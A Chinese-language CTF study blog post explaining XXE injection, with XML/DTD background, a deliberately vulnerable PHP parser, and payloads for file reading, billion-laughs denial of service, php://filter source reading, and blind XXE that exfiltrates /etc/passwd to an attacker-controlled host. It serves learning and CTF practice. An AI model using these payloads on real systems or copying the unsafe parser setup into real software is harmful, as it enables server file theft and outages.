標籤:

CTF學習--web--XXE

CTF學習--web--XXE

來自一條鹹魚的痛苦掙扎------魯迅

XXE全稱XML External Entity Injection即xml外部實體注入漏洞,觸發點多位於xml文件上傳點,危害:任意文件讀取,命令執行

一張簡單的圖概括下用XXE讀取任意文件

XML回顧

  • XML=Extensible Markup Language,用來傳輸和存儲數據。優點:格式統一,標準規範
  • XML 結構及其語法

<?xml version="1.0" standalone="yes" encoding="UTF-8"?> <!--XML申明--><!DOCTYPE note [ <!--定義 XML 文檔的結構,DTD文檔類型 --> <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]> <note> <!--文檔元素--><to>George</to><from>John</from><heading>Reminder</heading><body>Dont forget the meeting!</body></note>

DTD知識

  • DTD=document type definition,文檔類型定義(DTD)可定義合法的XML文檔構建模塊,包含(外部引用)、(b)內部引用。簡而言之:類比sql表欄位的創建。

<!DOCTYPE 根元素 [元素聲明]> <!--例如--> <!DOCTYPE address [<!ELEMENT address (#PCDATA)> <!ENTITY name "Tanmay patil"> <!ENTITY company "TutorialsPoint"> <!ENTITY phone_no "(011) 123-4567"> ]><!DOCTYPE 根元素 SYSTEM "DTD文件的URL"> <!--例如--> <!DOCTYPE address SYSTEM "address.dtd"><!DOCTYPE 根元素 PUBLIC "DTD名稱" "DTD文件的URL">

  • ELEMENT(可略)

<!ELEMENT 元素名稱 元素類型> <!--例如--> <!ELEMENT to (#PCDATA)>元素類型的三種寫法: (1)EMPTY——表示該元素不能包含子元素和文本,但可以有屬性。 (2)ANY——表示該元素可以包含任何在該DTD中定義的元素內容 (3)#PCDATA——可以包含任何字元數據,但是不能在其中包含任何子元素 <!--例如--> <!ELEMENT 公司職員 ANY> <!--相當於sql的創建張表,表裡面創建欄位,然後對每個欄位定義--> <!ATTLIST 公司職員 編號 ID #REQUIRED 姓名 CDATA #REQUIRED >

  • ENTITY (重點)

<!ENTITY 實體名稱 "實體的值"> <!--內部實體--> <!ENTITY 實體名稱 SYSTEM "URI/URL"> <!--外部實體--><!ENTITY % 實體名稱 "實體的值"> <!ENTITY % 實體名稱 SYSTEM "URI"> <!--參數實體--> 內部實體+參數實體-----------------------------------<!--1.例子 &為xml文檔引用--><?xml version="1.0" encoding="utf-8"?><!DOCTYPE fc [ <!ENTITY name SYSTEM "file:///root/1.txt"]><d> <value>&name;</value> </d>-----------------------------------<!--2.例子 %為DTD內引用--><?xml version=」1.0」 encoding=」UTF-8」?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]>-----------------------------------------------

XXE

讀取任意文件

<?php header("Content-type: text/html; charset=utf-8"); libxml_disable_entity_loader (false);// 關閉xxe防護,禁用外部實體載入echo "<h3>xxe</h3>"; $xml = ; //從網頁接受到的文件讀取到這裡,然後未作過濾和任何檢測$doc = simplexml_load_string($xml); echo $doc->name; //這裡直接按接收到的內容解析?>

因為&xml為我們外部可控的,(比如表單提交數據),此時我們可以傳入

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY file SYSTEM "file:///root/file"> ]><username>&file;</username>

讀取到網站伺服器/root/file文件的內容,並將其顯示到網頁。

xxe的一些騷操作

DOS攻擊

<?xml version = "1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> <lolz>&lol9;</lolz>

php偽協議繞過

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall>

blind XXE 注入

針對伺服器沒有回顯

xxe.xml

<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM"http://1.3.3.7:8000/xxe.dtd">%sp;%param1;]><r>&exfil;</r>

xxe.dtd

<!ENTITY % data SYSTEM"php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % param1 "<!ENTITYexfil SYSTEM http://x.x.x.x:8090/?%data;>">

思路」讓伺服器去引用xxe.xml文件,外部實體化載入xxe.dtd文件,將查詢到本地文件的內容%data,直接發送至hacker伺服器,規避了網頁沒有回顯的弊端

XXE漏洞擴展

常規系統里對接收的請求都會做限制,比如POST之以content-type的application/x-www-form-urlencoded接收,但在一些框架系統里,框架會自動幫開發者識別傳入的數據

POST 提交數據的四種常見方式

application/x-www-form-urlencoded

multipart/form-data

application/json

application/xml

比如:默認為application/x-www-form-urlencoded接收的我只需修改為 application/json

即可傳入JSON格式的數據,XML同理

這將導致原本不存在xml解析的地方可能存在XXE漏洞

CTF中實例

題目鏈接:web.jarvisoj.com:9882/

提示:

請設法獲得目標機器/home/ctf/flag.txt中的flag值。

將content-type修改為xml,然後xxe讀flag

參考:淺談XXE漏洞攻擊與防禦 淺談XXE攻擊 - FreeBuf互聯網安全新媒體平台 | 關注黑客與極客 php框架slim架構上存在XXE漏洞(XXE的典型存在形式) | 離別歌

推薦閱讀:

歷時兩周,總算把開源堡壘機的坑給填了
怪才塗:網路安全升級,網賺者路在何方?
網路安全 | 不如做個腳本小子?
2017 年度安全報告——Office
「安全」對於醫療雲有多重要?

TAG:網路安全 |